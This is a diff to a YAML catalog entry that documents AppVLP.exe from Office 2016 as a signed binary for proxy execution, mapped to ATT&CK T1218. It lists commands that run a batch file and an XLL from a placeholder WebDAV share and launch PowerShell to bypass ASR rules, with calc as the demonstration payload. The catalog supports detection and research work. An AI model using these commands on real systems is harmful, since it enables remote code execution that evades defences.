diff --git a/yml/OtherMSBinaries/Appvlp.yml b/yml/OtherMSBinaries/Appvlp.yml index 1fcc2d4..b886119 100644 --- a/yml/OtherMSBinaries/Appvlp.yml +++ b/yml/OtherMSBinaries/Appvlp.yml @@ -1,16 +1,30 @@ --- Name: Appvlp.exe -Description: Execute +Description: Application Virtualization Utility Included with Microsoft Office 2016 Author: '' Created: '2018-05-25' -Categories: [] Commands: - Command: AppVLP.exe \\webdav\calc.bat Description: Executes calc.bat through AppVLP.exe + Categories: ['Execution', 'ASR Bypass'] + Privileges: User + MitreID: T1218 + MitreLink: https://attack.mitre.org/wiki/Technique/T1218 + OperatingSystem: Windows 10 w/Office 2016 - Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)" Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command. + Categories: ['Execution', 'ASR Bypass'] + Privileges: User + MitreID: T1218 + MitreLink: https://attack.mitre.org/wiki/Technique/T1218 + OperatingSystem: Windows 10 w/Office 2016 - Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')" Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command. + Categories: ['Execution', 'ASR Bypass'] + Privileges: User + MitreID: T1218 + MitreLink: https://attack.mitre.org/wiki/Technique/T1218 + OperatingSystem: Windows 10 w/Office 2016 Full Path: - C:\Program Files\Microsoft Office\root\client\appvlp.exe - C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe @@ -19,4 +33,12 @@ Detection: [] Resources: - https://github.com/MoooKitty/Code-Execution - https://twitter.com/moo_hax/status/892388990686347264 -Notes: Thanks to fab - @0rbz_ (No record), Will - @moo_hax (Code Execution) + - https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/ + - https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/ +Acknowledgement: + - Person: fab + Handle: @0rbz_ + - Person: Will + Handle: @moo_hax + - Person: Matt Wilson + Handle: @enigma0x3